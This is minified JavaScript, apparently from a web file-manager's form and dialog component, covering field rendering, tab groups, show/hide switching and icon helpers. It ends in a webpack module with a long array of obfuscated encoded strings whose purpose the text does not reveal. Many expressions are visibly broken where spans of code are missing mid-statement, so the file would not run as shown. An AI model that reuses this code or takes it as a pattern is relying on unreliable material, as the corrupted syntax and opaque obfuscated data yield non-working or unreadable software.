e=["button","cityPicker","codeEditor","htmlEditor","imageSelect","color","colorImage","colorLabel","dateTime","fileSelect","fontIcon","html","segment","select","slider","tags","table","member/auth","member/group","member/job","member/role","member/user","member/userSelect","member/userGroup","member/groupAuth"],t=!1;this.loadExtenceView={},this.bind("fieldLoad",function(e){this.loadExtenceView[e]=1,_.every(this.loadExtenceView)&&!t&&(t=!0,this._delay(function(){this.trigger("initFinished",this)},0))});for(var i=0;i .panel-form-body-main > .panel-form-body")).length?0!=t.find(".tab-content").length?t.find("> .tab-content > .form-row"):t.find("> .form-row"):this.$("> .form-row").add(i),e?i.filter('[data-key="'+e+'"]'):i):$("")},"input$":function(e){var t;return e?0==(t=(e=_.isString(e)?this.formRow$(e):e).find("> .setting-content > [name]")).length?e.find("> .setting-content > label [name]"):t:(t=(e=this.formRow$()).find(" > .setting-content > label > [name]"),e.find("> .setting-content > [name]").add(t))},"resetValue":function(){var i=this;this.formRow$().each(function(){var e=$(this).attr("data-type"),t=$(this).attr("data-key");e&&"html"!=e&&"button"!=e&&(e=i.formData[t],_.isUndefined(t)||!e||_.isString(e)||i.setValue(t,e.value))})},"defaultValue":function(){var i={};return _.each(this.formData,function(e,t){_.isObject(e)&&e.type&&"html"!=e.type&&(i[t]=_.isUndefined(e.value)?"":e.value)}),i},"getValueFormDefault":function(e,t){e=e.val()||"";return _.isArray(e)?e.join(","):e},"setValueFormDefault":function(e,t){e.val(t).trigger("change")},"renderTarget":function(e,t){var i=this.makeHtml(this.formData);if(!i)return!1;var n=this.formData,i=((this.$el=e).html(i),"dialog-form target-form "),i=(i+=_.get(n,"formStyle.className","")+" ")+(_.get(n,"formStyle.tabs")?" dialog-form-has-menu ":" ");$.isWindowSmall()&&(i+=" form-box-title-block"),e.addClass(i),e.find(".form-header").remove(),e.find(".form-target-save").show(),"1"==_.get(this.formData,"formStyle.hideSave")&&e.find(".form-target-save").hide(),t&&t(),this.bindEvent()},"setValueReset":function(){var e=this,t=this.setValue,i={};this.setValue=function(e,t){_.isString(e)?i[e]=t:_.isObject(e)&&(i=$.extend(!0,i,e))},this.bind("initFinished",function(){e.setValue=t,_.isEmpty(i)||e.setValue.apply(e,[i]),i=null})},"dialogClose":function(){this.dialogCloseFinished||(this.dialogCloseFinished=!0,this.dialog&&this.dialog.close())},"renderDialog":function(e,t){var i,n,o,a,s,r=this,c=this.formData,l=r.makeHtml(c);return!!l&&(i=_.debounce(function(){r.trigger("dialogResize")},100),l=(n={"padding":0,"fixed":!0,"resize":!0,"className":"dialog-no-title dialog-form","title":LNG["common.systemSet"],"ico":'',"width":700,"height":510,"content":l,"okVal":LNG["common.save"],"ok":function(){var e=r.getFormData(!0),e=!!e.success&&e.result;if(r.trigger("onSave",e),e){if(!t)return;e=t(e);if(e||_.isUndefined(e))return!0}return!1},"resizeCallback":function(){var e=_.get(r,"dialog.$main");e&&e.find(".tab-item.active").tabCurrent(!0),i()},"close":function(){r.objectRemove()}}).className,(o=$.extend(!0,n,e)).className=l+" "+_.get(e,"className","")+" ",o.className+=_.get(c,"formStyle.className","")+" ",o.className+=_.get(c,"formStyle.tabs")?" dialog-form-has-menu ":" ",$.isWindowSmall()&&(o.className+=" form-box-title-block"),l="dialog-form-style-default",_.get(c,"formStyle.tabs")&&(_.includes(o.className,"dialog-form-style-")||(o.className+=" "+l),_.includes(o.className,l))&&o.width&&(o.width+=120),this.dialog=$.dialog(o),(a=this.dialog.$main).data("kodForm",this),a.find(".modal-title").html(a.find(".aui-title").html()),this.bindEvent(),o.singleDialog&&(a.removeClass("dialog-no-title"),a.find(".form-header").addClass("hidden"),a.find(".aui-footer").addClass("hidden")),s=this.dialog.title,this.dialog.title=function(e){s.apply(r.dialog,[e]),a.find(".modal-title").html(e)},t&&this.$(".form-save-button").last().bind("click",function(){n.ok()}),this.on("onRemove",function(){this.dialogClose()}),this.dialog)},"save":function(){(this.dialog?this.dialog.$main.find(".aui-state-highlight"):this.$(".form-save-button").last()).click()},"makeHtml":function(e){var t;return"string"==typeof e?(this.loadFile(file),!1):($.isPlainObject(e.formStyle)&&e.formStyle.loadFile&&(t=e.formStyle.loadFile,this._each(t="string"==typeof t?[t]:t,this.loadFile)),t=r(50),e={"items":e,"wrapID":this.wrapID},this.renderHtml(t,e,!1))},"bindEvent":function(){var a=this;this.viewRendering=!0,this.$el=$("#"+this.wrapID),this.$el.data("kodView",this);(e=this.input$()).each(function(){var e=a.formData[$(this).attr("name")];$(this).data("fieldItem",e)}),this.$("input[type=password]").attr("autocomplete","new-password"),this.bindHotKeyEvent(),this.bindGroupTab(),this.setValueReset(),this.loadExtence(),this.bindFormAll(),this._delay(function(){this.viewRendering=!1},50),this.ignoreAnimation=!1,this.$el.hasClass("form-inline")&&(this.ignoreAnimation=!0),"1"==_.get(this.formData,"formStyle.ignoreAnimation")&&(this.ignoreAnimation=!0);var e=this.input$(),s=timeFloat(),t=(e.inputChange(function(){var e=$(this),t=$(this).parents(".form-row").first(),i=t.attr("data-key"),n=a.formData[i],o=(n&&"checkbox"==n.type&&(a.checkChangeToggle(t,e,n),a.checkChangeSwitch(t,e,n),a.checkChangeAlias(t,e,n)),a.switchItemChange(i),window.event||!1);a._delay(function(){a._event=o,a.trigger("onChangeAll",i,a.getValue(i),t,e),.2.setting-content > label > input")),e=s.prop("checked"),t=s.attr("value"),c=function c(e,t,i){var n=e[t];if(n)for(var o=0;o.setting-content > label input"),_.each(i.checkToggle,function(e,i){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t=o.filter('[value="'+e+'"]');t.length&&n.push({"by":i,"k":e,"$inputItem":t})})}),i.checkToggleVal=n),r=t.prop("checked"),a=t.attr("value"),s=this.getValueField(e.attr("data-key")).split(","),_.each(n,function(e){r&&a==e.by&&_.includes(s,e.by)&&e.$inputItem.attr("checked")&&e.$inputItem.removeAttr("checked").trigger("change")}))},"checkChangeSwitch":function(e,t,i){var a,s,o,r;i.checkSwitch&&((a=i.checkSwitchVal)||(a=[],s=e.find(">.setting-content > label"),_.each(i.checkSwitch,function(e,o){_.isArray(e)||(e=_.trim(e).split(",")),_.each(e,function(e){var t="-"==e[0],i="*"==e[0]?"disabled":"hidden",n=("-*"==e.slice(0,2)||"*-"==e.slice(0,2)?(e=e.slice(2),t=!0,i="disabled"):"-"!=e[0]&&"*"!=e[0]||(e=e.slice(1)),s.filter('[data-value="'+e+'"]'));n.length&&a.push({"by":o,"k":e,"$label":n,"isReverse":t,"className":i})})}),i.checkSwitchVal=a),t.prop("checked"),o=t.attr("value"),r=this.getValueField(e.attr("data-key")).split(","),_.each(a,function(n){var e;o==n.by&&(e=_.filter(a,{"k":n.k})||[],(e=_.filter(e,function(e){return e!=n})).push(n),_.each(e,function(e){var t=_.includes(r,e.by),i=t?"removeClass":"addClass";e.isReverse&&(i=t?"addClass":"removeClass"),n.$label[i](e.className)}))}))},"bindEventInput":function(){var i=this,n=(this.$(".input-title[action]").bind("click",function(){var e=$(this).attr("action"),t=$(this).prev(),i=t.val();switch(e){case"openLink":window.open(i);break;case"clear":t.val("");break;case"qrcode":core.qrcode(i);break;case"round8":t.val(roundString(8));break;case"round16":t.val(roundString(16));break;case"round32":t.val(roundString(32));break;case"copy":$.copyText(i),Tips.tips(LNG["explorer.share.copied"])}}),function n(e,t,i){""==t?i.removeClass("item-not-empty"):i.addClass("item-not-empty")});this.bind("onChangeAll",n),this.formRow$().each(function(){var e=i.input$($(this));e.attr("name")&&n(e.attr("name"),e.val(),$(this))}),this.input$().bind("focus",function(){$(this).parents(".form-row").first().addClass("item-focus")}).bind("blur",function(){$(this).parents(".form-row").first().removeClass("item-focus")}),this.$(".input-clear").bind("click",function(e){var t=$(this).parents(".form-row").first();i.input$(t).val("").attr("value-result","").focus().trigger("change")})},"bindFormAll":function(){var n=this.formRow$(),o=this;this._each(this.getValueWith,function(e,t){var i="bind"+_.upperFirst(t);n.filter(".form-"+t).exists()&&_.isFunction(this[i])&&this[i].apply(this,[function(){o.trigger("fieldLoad",t)},this])})},"switchItemChange":function(e,i,t){var n,o,a,s,r,c;i=i||{},(t=t||{})[e]||(t[e]=!0,n=this.formData[e],o="button/switch/radio/checkbox/select/tags/segment".split("/"),r=this.getValueField(e),n&&(s=this.formRow$(e),a=s&&"2"==s.data("data-show"),this.switchItemClassItem(n,r),s=n.switchItemValue&&n.switchItemValue[r],_.isObject(s)&&this.setValue(s),n)&&n.switchItem&&_.includes(o,n.type)&&(s=_.map(n.switchItem).join(",").split(","),"button"==n.type&&(r=this.input$(e).val()),c=n.switchItem[r]?n.switchItem[r].split(","):[],this.$el.attr("switch-key-"+e,r),_.includes(r,",")&&this._each(r.split(","),function(e){n.switchItem[e]&&(c=c.concat(n.switchItem[e].split(",")))}),c=_.filter(_.map(c,_.trim)),s=_.filter(_.map(s,_.trim)),this._each(s,function(e){var t=this.formRow$(e);_.includes(c,e)&&!a?(this.display(t,1),i[e]=!0):this.display(t,0)}),this._each(s,function(e){_.includes(c,e)&&!a?this.switchItemChange(e,i,t):this.switchItemHideChildren(e,i)})))},"switchItemClassItem":function(e,t){var n;e&&_.isObject(e.switchItemClass)&&(n=(t||"").split(","),this._each(e.switchItemClass,function(e,t){var i=_.includes(n,t)?"addClass":"removeClass";this._each(e,function(e,t){t=this.formRow$(t);t&&t.length&&t[i](e)})}))},"switchItemHideChildren":function(e,i,n){var t=this.formData[e],o="button/switch/radio/checkbox/select/tags/segment".split("/");t&&t.switchItem&&_.includes(o,t.type)&&!(n=n||{})[e]&&(n[e]=!0,o=_.map(t.switchItem).join(",").split(","),o=_.filter(_.map(o,_.trim)),this._each(o,function(e){var t;i[e]||(t=this.formRow$(e),this.display(t,0),this.switchItemHideChildren(e,i,n))}))},"display":function(t,e){var i="item-hide",n=function n(){var e="block";return t.hasClass("inline")&&(e="inline-block"),t.parents(".target-form").hasClass("form-inline")&&(e="inline-block"),t.css("display",e).removeClass(i)};if(this.viewRendering||t.hasClass("no-animate")||this.ignoreAnimation)return t.data("data-show",e?"1":"2"),e?n():t.hide().addClass(i);var o=$.easing.def,a={"duration":150,"queue":!($.easing.def="linear")};e?"1"!=t.data("data-show")&&(t.data("data-show","1"),t.stop().slideDown(150,function(){n().css({"opacity":"","overflow":""}),$.easing.def=o}),t.css({"opacity":0}).animate({"opacity":1},a)):"2"!=t.data("data-show")&&(t.data("data-show","2"),t.stop().slideUp(150,function(){t.hide().addClass(i).css({"opacity":"","overflow":""}),$.easing.def=o}),t.animate({"opacity":0},a))},"bindGroupTab":function(){var i=this.$(".tab-panel"),n=this.$(".tab-group .tab-item");if(1==n.length)return this.$(".tab-group").remove();var o=this;i.each(function(){var e=$(this).attr("id"),t=o.$("."+e);0'+e+"":(_.startsWith(e,"/")&&(e="folder"),_.startsWith(e,"./")||_.startsWith(e,"/")||_.startsWith(e,"http://")||_.startsWith(e,"https://")?'
':c[e]?''+('')+"":_.startsWith(e,"icon-")?'':_.includes(e," ")?'':'')},d=function d(e){if(e&&"{"==e[0]){e=(e||"").match(/^{\w+(:[a-zA-Z]+)?}/);if(e&&e[0]){e=e[0].replace(/[{}]/g,"").replace(/:/g,"-");if(r[e])return e}}return""},h=function h(e){var t=!(1":l(e,t)},t.pathIcon=a},function(e,t,i){"use strict";var n="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e},s=(Object.defineProperty(t,"__esModule",{"value":!0}),"function"==typeof Symbol&&"symbol"===n(Symbol.iterator)?function(e){return void 0===e?"undefined":n(e)}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":void 0===e?"undefined":n(e)}),o=c(i(218)),a=i(23),r=c(i(52));function c(e){return e&&e.__esModule?e:{"default":e}}var l,d=["W64JdmoErW==","jCk5oSobsG==","W7hcICkBoIS=","W61fWQOCW4C=","zmoWxmk3W54=","W53dNCoOt8kZ","WOq/WQ/dKCom","WONcQehcHmke","W4uCW7vXga==","W4BdNCo9u8kH","zL1dW5ldNW==","Ftn3ymk5","AfGcca==","W6z4emkN","W7BcVcCJW74=","oJZcLgSg","f8oUW6ddUmojm2/dOW==","W6PLWOFcSvih","W6rjWQhcLv4=","W7ddU8klWRhdNr8=","WOZdN8k2WPW=","w3bsEXHODCkCgG==","w2ZcJ8kubq==","W5DoW5/cRSoTy8oJW7NcLa==","sSkoW4JdICo9WONcNa==","yKrfub0=","W5vrW5lcIa==","W4X3W5JcICoNDq==","ltZcTNtdTa==","W6LkWOVdNa==","WPTtW4vJCq==","jrVcNgGJ","u8kwvLZcKa==","WOFcRtlcRbC=","W4vKWPdcOem=","vxLrW4RdUG==","zh4im8oW","WP7cJu7cGSks","WR0JWO/dMSop","dcFcNGZdSq==","W75KWP7dVCoU","FSkIWP/cSCkt","DdSaWOe=","W6FcU8kcdXW=","W7VdQSkjWPZdVq==","BcTRrSkQ","xJbVxCk+","W4ziWRi2W7i=","vXOqWQZcSG==","lXZcNLJdSG==","WQbUW40Sj8o+vri=","D8ogC8k6W5u=","xc1eq8kA","zsWIWPxcHa==","C8k8W4RdLCoj","W7xdICkUWPxdUa==","W7VdO8k0WR7dMW==","W6zJWRa2W7m=","sdTDWRK5","mdVcM0VdK1ngq2rDnwnmW5W=","WP/cTtRcQIm=","WR4WWONdMmoe","zmkTW71yWQ4=","WRBdOKRdQtC=","maO4uCoD","W6fXdmkRW58=","mZNcNgyG","W6XXWQSaW5i=","pMbRW6ZdOCkVW7SrEx3dO8oUrCoFrhf0g8kOW5PStSkAWODpmbucBaLYW6eEB8kDWO3cLSkJW4ldG8koW7OghmkGW6BcVZHaWQBcVmoIWRldVZRdSSoXrMbWdMJcLSo1dCkGW7uLWQbAy8kGWOGlv8kwa3y0W6ZcHSo3W5hdTSkmumkCo8oDmgxdTSoyrCkws27cRN3dMCkDv8oRkCoNDapdIbNcOCo2WPZdQmofWRqiW5ZdTCotdtNdNSk4nCoNlmkpDJuhWPZdT8oPWRxcOsVdPSkadMNcUmk0W6LiW4HBW6XenmoTWQ/dIYfiWR/cTSoDW6ZcK24+ieywESk1W7rslSoFW7BcRsFcOSkJWO9fWOZdHsexWOVcJSohW4Saxmk9WP/dGmkKuSkVWRldGmoodxHMW6dcRwddQSkEWQvxW6VdNXhcGSkocCkto20fmZ7dMCkQb8ktW7JcGcldNuJcLSknjsTBWQ8xW487yvOjW4OlfrXEWQaCW51dWQBdKI3cJexcUHhdHCkPvmksWPZdJw7cH2RcLSkIWQSzEKRcHdLXtNexkCoLW4eEWOXFaSkhxNpcGfn2WPvCvSoEmN3dHSkOW6PMWOlcVgZcSWSCW6fHW57cGrJdVgDcjhegEmoiW5KbWPFdHSkOAG9nc0HtvW4mg2vGdSoxWPNcTINcRfL5lfpdTZNcQvevWP3cRSoYwCkTW4iSs8oGW57cG8olsSkHmmk6WOpdRL7cVvBdSMaUqwz7W5H+W7OGWPVcUIVdJ1ZcPmkXW7tcOZWKW5dcLCkTfLqsECkoW5BcNYGAzh8kW7vrWR88cCkGAKJdUIb5qCoKa8oQrqhdOePJWOpcM8kUW7yqmv0YWP4KWQxcP2tdLs7cPmoKASkHiJ3cOmoBqSomA8kIW4nZBKpcTdtcLCo+W6udsCkvj14cW5pdNXz3WPtdTCo+ACoXox7dSxldVCo7WPXXDx16WQpdJulcPKvOWRPwymosWOqmWPaNmr3dHCoFkmoOpSoSWR7cPdKizSkvbHxcNmkIWPDnhmojomovW7xdUmkkzgJdHCoaW5jHkw1BCCkKW7OXCCkvu8k/qCofWPC1AdCjW6aPWQLHyGPKF8kpa8oKW5PfW6jkp8oTydlcT8oBWRJcHmkzxgZcO8khaSkZW7PaySomCCksqGSEtJXkW5DIW5RdPr7cISkhW4hdQCkIWRldUSomWRldReNcMCoLW4r9jG0TW5ldNstdOXpcRK0JhCkTh8oUCCosk8k9CxfDefFdLHDOW4zwWQRcPKdcUJNdPCkAWQxdOSk6W47cP8oIWORcHSoUWOe7W4xcGmohWQBcM3TtWPbbe8opW5yxWRPXFmofh8o7W5VdJ8oeWQPym2zdW5BdH8o/W4uiqCktAmo3jSkxW4CfW7RcKeSxe17dLSoAqcTUq8oexavAWOlcNCkIWR7dUCoFx1ldTCoIDfW+fmoxW7fBumohCwmYzaJcVIeUW4vmomkhWOWHrb52WOxdSXpcPSo/luBdTuzNiKzQxCkem0HfWQHWDMKyWRhdNSkiW5/dRc5MDSkRWQKxuvxcSg/dKCo+ovNdQYddHmkrFSoKW6NdUCkmW4znW6PKW4K6W57dHSkKW5Kpf3mEeSkBuCoLaGZdRrJdPh58W4rkW5HsWQ8VW6ddM8k3W41JWOm=","W6rGdmk3W44=","WQXJW5OUpW==","WRxdOZpdRmkb","WPBdLutdGcS=","A8oouCkWW7y=","rCkDW5NdUmop","W69QWP3dMmou","gGqRtCoc","WQJcPY3cQdK=","W5FdP8oLxmktW71vW6NcJCompmkjdCoGba==","FMGTnCo4","ASo3W6tdMs4=","W6ufpmoeqG==","WQ3dVmkmW6D6","whFcKCk3b8krfW==","WRClWPxdV8ol","q1tcL8kWpG==","AflcMmkxla==","yxbNW6/dPG==","ALGagSoHW5eNW505W7RcLtzi","tCkAF03cGa==","cr3cMwGx","WRnTW6Koaq==","WQhcOgpcUCkS","W5RcVCktdsi=","WQHHv2/dHW==","ntGJumov","W4/dUSoirSkM","x8kAWOBcV8kE","W4WwW4Xloq==","WRNcKxtcISkSb2xcPG==","qxbHxcq=","CMNcKSkD","W4hdMhPZwa==","W7DngmkMW6y=","W4FdK8kYWPddUa==","amkWW6FdIcK=","W7auW5fnfa==","WQfhveJdMW==","ddXjhSo7kSkB","WP4dWORdLCoZ","rmkoW4/dGa==","WOtcGsFcTru=","v8kNW6PWW7ddK8o3WPDFwHZdSMvtWPtdQNpdJSoyWQBdM08=","WORdSMZdLXC=","ESowW4tdGaC=","EhXnW6ddOgjYgIVcKq==","WRddSfhdQt0=","uqGiWPdcUG==","FSkVW7fEWQe=","xwqHkSoC","W5/dO8oNsmkJW6TcW7u=","WP7dTuddTry=","WRJdOdpdNSk1","AfTRuZy=","tCkkWRdcL8k4","W6/dICoQq8kf","AmomW7dcOCo8","hIlcMNhdIeS=","ECkpFxRcJW==","xKDZaSoOW58llmopDmomWPtcMwfBWPObACkbWOGzmmkrW7BcUq==","dCkJW4hdNGX+W6qP","qCkKW7DtWOm=","WRr8W6jLwG==","FW91WPG4","zwfoW4BdIg55","BCo0zmk5W5S=","WRORq8kTWPpcOJddVCkV","xCk1WPpdMNrRWQCHeq==","W68YW6fS","D8k0WQ7cMq==","W5hcGquPW4dcRCk5CSkd","CG59zmkq","DhzbW6tdJwa=","W74lgCoTqW==","W5hcUWCjW4y=","WOddL2/dQtC=","W5DlW4lcHCobF8o8W6dcHW==","WPddKXpdQG==","WRDsW4mSaW==","oHK1FCoD","ddFcQgKy","nmkjW7xcOx8=","WRXtW51XFG==","W6xdHhTita==","W4ZdISk9WPddIG==","W4rBW4FcMmoNFSoXWR7cKSoUWORcLtm=","sKjZW7pdIW==","kSofW6RdRmol","W7fDsCkCyCksWONcPh84WQiNyc4=","WOCkWRpdSCoJ","W7vLWP3cGK8cpxhcLSkH","FLFcKmozxa==","WPjhENNdMW==","vmk6W4NdH8oM","DCkvW6xdUmoM","W5aCW4XpaG==","a0lcHZZdOG==","BmkvW6rHWRi=","F8oTwCkNW60=","BJHFWOe5","uComW5/dVXy=","W47cLmk5cr0=","WRFdTrddVSkF","WQZdM8kmW75X","WQBcU1/cI8kj","W6ldTNCOaW==","pmkCmmohqa==","W4mAW7jYfW==","xXlcPmkDWPG=","WQrLW488","gJ/cQKBdRG==","WOVdRmkUW65W","WPGcWOtdI8om","W55yWOJcOKe=","W6VcPgm/fa==","WPZdRmokWQtcGqBcGCoLWQtcUSoXbSoVoY8=","W5P9WQZdNCoVWRq=","WPjeW5HvBq==","CdjcWOGY","gSkXC3hcKSkX","WRBcHftcJCkm","W5rvbmkLW5e=","uXHjrSkC","jCkGjmo4zG==","WOX2AL/dPa==","WRzSW5HOFW==","W73cQheRia==","umoiW6NdTGq=","qvKna8o7","W6jHWPtdH8oU","W5xcLWmkW7JcP8k/CSkdcX3cJemOrCoKW4OKh1G=","WP/dLX7dLSka","W5ldNwnPEa==","nXCYECod","htZcVXhdMG==","wmknW696WOW=","ymkvW5HpWRy=","z1WVf8o4","wmoEW4RcHSoC","W67cNM4j","W6fKfa==","AfW8fCom","WOZcRc3cRI7dRxdcNSkynSkmpCk0W73cUSkvWP9TW5ufrmk1gZ4TW6JdGCojW5xcSdZcTsKqnSo2sG==","dq3cRNNdMG==","s2zu","lHdcQSoaE1FcH8o+eCk3W7DaWOmwW50=","DXJcQmknWRa=","gH7cUf3dSa==","W5HYbmkRW6O=","W6K9amoFqa==","WOHPW446bW==","p1hcNqVdNW==","W6pcLwiYfq==","yHDhrmk6","FCkYWRVcR8k1","W7bHWOxcO0m=","BgWhfCoH","WPRcHgpcQSk8","rhBcRSkofmkthhG=","W4ZdSCklWPZdQq==","pG3cP37dSCo2WRhcTSoOW6nE","W5ZcVxSYbq==","WPqwWOFdKmom","ySkXW5zAWQ4=","AuPXDbu=","aCk6c8o8tG==","W6dcJMmFl3i=","WQnqEMldKa==","y2noW6ldNq==","rSkAW5FdHmo/WOVcJc9R","W5/cI8k2eq==","lCoKW5BdM8ow","W7nMgSkNW7K=","bSo/W7VdImodchVdPSop","wCoNW7VdPbu=","WR09WRZdQCoV","D3zw","WPhcJr7cRXu=","bYZcP0ldJG==","W77dJmoTq8k0","DGrpA8k1","W4bMW5tcTCoT","qX1rWR43","W5JcKmkJeqC=","zmkdWO7cKCkV","WROVWPNcPenruHFdQSoPWPJcHsW=","W7CTW4n6gG==","zHrtWPyo","sgjeEsvPEq==","WO/cRWJcHqW=","WQXxB3ldSb5or1O=","WOVcTcJcSre=","WQVdLZZdOCkW","EgRcVmkJdq==","WPtdRqZdVCkO","WPJdO3/dPde=","dG8Tx8o7","WRNcP3lcNmkv","erODsSoH","uCo/W5m=","WO47WORdJmoc","C1pcICohza==","W6/cVLxdNWeAW7XMW5ypW7rmzmoXcG==","oIu0A8oM","WRtcI0JcMmkQa38=","W75pcCkRW48=","khhcQHldKa==","W73dO3nYbXeQiY7cISooW4ZcU8kDW7xdSSk9","heVcQHhdTG==","dSk7W5RdSJm=","WRRdRcj8gGf1ohlcMmkR","bCojW7pdH8oI","zrFcImkiWO0=","W7/cIGuiW4W=","tdbgwCkh","WRFdTeBdGGbb","W6ZdJmogC8kv","t0XsW7NdHNfZkGy=","W57cGWyDW6i=","crZcUs3dHG==","W53dOSoGcSkGW6PvW7xcLSoNo8k8gmo/bG==","CqRcMmktWRG=","xCkAWOxcMCkw","FNHSW57dGW==","W7nJd8kWW58=","qCoYW7hcHCoq","WRBdGK/dVa4=","WOFdIu7dQXC=","W4XTWQRcHgG=","W5bxW4tcNSo2","s2TpAMfZD8kjb8o8n8kkDG==","nICuwSonW4yuFW==","gZlcT3hdRG==","W7u3AmkUBgfJWOGAxmo8","WPNdKCkqW7bH","W4SsW4fRka==","W61AySkGtW==","sSoWymk1W5bDWOe=","zmowrSkkW74=","E8otW7/dOtvv","W53dGgXpyG==","WO1LW4m4jq==","vdymWORcVW==","q8k+WPZcMmkA","cIBcLZpdVq==","W6m2W7rP","Fq5fWQex","WOrJxf3dOW==","WPRcOcNcQt7dHq==","bSoJW4hdVSow","WOxdJYddMmkb","tmolW43cV8ol","smkbW4HnWRy=","W7VdS2rPwqK=","WPBdHaa=","W7bkWOKuW7i=","pYxcTfJdSa==","uCoQW4VcNmoN","WRhdP8k0W4LmW5D8n8khWQbnWRiJ","q8koW5FdJq==","W7z3WRJdJmoK","qCoNW5ldTYa=","WPXUW6VdK8k9WQ3cQSo3WP/cI0q=","qY/cISkDWPi=","W4fgWP3cGMG=","W74/W7HIhq==","W5HUWOGA","WRv2W4u5omoJrXtcIW==","WOBdOIxdNmkH","WPRdTeFdNGu=","WOxdKXxdUSkaaSkOcW==","vmkmW5hdHComWO0=","WRLlB3BdLG==","WOrwW4SXhq==","i2hcK1VcNq==","ASkTEvNcKa==","y3zwW5/dGgH5gIZcGa==","rSkEW45qWPi=","rKbVW6ZdUa==","qmkkW5FdQCoqWPZcMdPXWPfNWRqaW7NcNCoUWQbkW4ZcMW==","WQpcL0VcMmkPehi=","WRtcOfRcVmke","FMFcK8oLDa==","cmkSW4W=","sKvbvty=","W7NcQh4nhW==","hcVcRXhdNwdcQ3K=","q8keW6ZdV8oU","iGDiomo1","zmkSW4T1WOC=","tSkCW6ZdJSowWPZcLIS=","WQVcVr/cPb8=","WRD/W4v8Ea==","wxzpDsG=","lCo7W57dQmow","cCo7W5/dKCo/","hsRcQq/dMa==","uYNcL8kLWRS=","hG3cJ1pdNa==","WOtcTIBcNdW=","kszLgCoO","lZVcU1hdVW==","s8o8W7tdHqq=","sf9aW4JdGG==","uSktW596WOS=","ChOVgCo9","omkBW7ldTaq=","tSkQW6RdMmoV","W7FdLmkWWPxdVG==","gqvieSo2","mslcGeia","wN5HW5NdPW==","y0tcJCk9pa==","W64xlCoDBq==","W4zIWOOBW5dcNrhdSfbbAqRcQ10gFIXN","W4nQWPRcL3u=","W4voW5RcHmo2","k8kso8o/CW==","xuDnW5NdGG==","W7ZdN8oTvSk5","WQn3W7yCgq==","W5nVWQJcJ00=","Cb5nymkP","W6KGmmo+","Bumef8o6W5m=","lbWpvCol","xehcH8ktcG==","W4HaWPJdJmoB","lh/cGH/dMftcTq1frItcQhjctSogrSkbWOVdUa==","W5VdOSkwWR/dLX/dG8oCW6BcO8kOdG==","W6ztW4FcHmov","rxrfW7ZdPW==","dIBcJLeg","aSkNW7NdNcG=","aZG9BmoU","WRj2W48=","oaFcJwGZ","WPhdOCkjW4rd","W6pdQmoqqSkE","jYlcOHK=","o8kkgmo2yW==","BSoaW7lcLSoy","W5NdImkDWOddNW==","zWNcISkA","dJFcMxOX","dCkZeSowvG==","nJrUlSo3","uSoCW7VdHIy=","W67cJmkIare=","hZfSimoB","yrjFWR49","fCk6W6hdPYG=","ewhcLmkmrSkzhN7cJmo7WQ3dMWbKWP/cG8k+cxFcMt5GqmkB","WQaGWOFdV8oF","ACoOW5FcH8oD","ECkSySk9W5mwWRymW7ddKCklW6ZdSW==","qrpcQSk5WPO=","W7RcN2Wiy2PwW7lcGxC=","B8kiufhcIq==","W7FcTCkfjaC=","gSk5jCo/vq==","W4pdGKBcRmkXa8kRpCkhqMZcOhxdImoPDH41W5BdObRdLaK7EXtcNK0MsmoPWPHToWtcMMqKCLtcHNxdTmkYW6/cQ30hpmkPW7LtFCkZA8kHy8keiCkXiurxCmo4zYm0g2eJWRRdHdRcK8oWWRudWQqfW6CrWOexEeJcQZ7cHSozeqvNW70xW5tdRSoaW6i=","nmkEj8oHuW==","W6hcPSkHebXvWQaUCa==","WP3cPb/cPaK=","khlcHHVdTftcQq8F","sSkEW79XWQy=","zmojW5FcSmo+","lCkjpCobEq==","W4v3WRFdImo4WRK=","W7FdNmkDWPVdMW==","WOVdHWtdI8kr","WR3cSdNcKZy=","hXSvvmo2","WQrrxNFdGXHo","W5VdOSkEWRVdLq==","gWtcRHRdHq==","W69qCSkiDG==","gMBcTtNdTq==","cIhcI1m=","oxFcOcRdLq==","W5/dT8opB8kE","B0mDhSoX","W693WR7dPmoV","o2lcGrRdJum=","W5XttmkaACke","W4uEpCoyEq==","W5HeW7ZcJ8oe","WQXsA3BdIG==","fmkrnCohsq==","q8oWW4BcJq==","W70JjCoPB3zhWOiCsmk6","W4u0hmoiAa==","W7JdHCo0BmkG","E1bQW73dGW==","W7b4WPVdGSoB","W47dTCoRrSkS","ra0wWQ3cNW==","W6W7eCoDtW==","W7rLWPRcO0OBhh/cL8k0W7BcKxy=","uCkXW7S=","W67cHMGcag9kW6e=","oGfDjSoA","DmkVW5zmWPm=","W6PlD8klBSkeWP7dQG==","WQbVW6O5kq==","x8kYFNO=","W47cTuGCcq==","hWiYBmoP","waH0Bmky","mxdcK8o2","eCk+mmo7wW==","fIZcVNFdKa==","sMZcUmoEua==","hNNdJCkgvmkgrwpdICo0WQxcHvrQW5NcKmo1wdS=","eCoOW5/dHmoB","r3vuW5NdMW==","FtS1WOJcPq==","W75YWPe=","rCkXW7S=","WQTZW5udba==","h8kqW6VdQs4=","WQddJGZdKSk2","se7cTSoqsW==","aaG3DCoP","ucJcOmkoWQ4=","l8oLW7JdH8o+","uCowqCkDW7u=","dJLgeSoslCkCW6y=","vh7cI8o9tG==","owRcGd/dNW==","hZNcPepdNq==","ze0taCob","W7VcU8kznHa=","CMhcMmkwb8kd","W6zRiCkJW5W=","umo2rmk8W5W=","c8kSW5q=","WP0JWP/dI8oW","u2CllSoN","wwLbzq==","bmkDjq==","W6KHoCobyhLHWQWasmkY","W7DSW5FcICoi","W7TMkmkHW4G=","CCoKW7BdUdK=","ddBcMa==","WQFdUmkcW4DM","W6RdPSkAWRBdHaK=","t8obW7ddUrS=","hColW7/dUmoJ","W7XtWQ8+W6RcQIddOgbYqY3cL1q=","W7y8pmoI","WPddPfBdUaG=","CbdcP8kMWQG=","W7Dbsmkm","lGZcPwFdPa==","WORdT0tdGcW=","nJpcIwxdQa==","D8kPWQ/cNCkdfCk5gSkwEmk/WOax","t8ovW4FdGXe=","W7RcTfmcfa==","bgpcLYVdHq==","yKNcOSoDwW==","qfNcMmoyDa==","W7hdV3jNBW==","B8o3W5pdPWK=","WQWRWP/dNCoP","x8k2W61UWRC=","sIhcUmkkWRq=","rXdcUmkWWQ0=","W5rjWP3cNwq=","W7TVcCk2","AmktW5H6WR8=","aW/cMwxdHG==","FS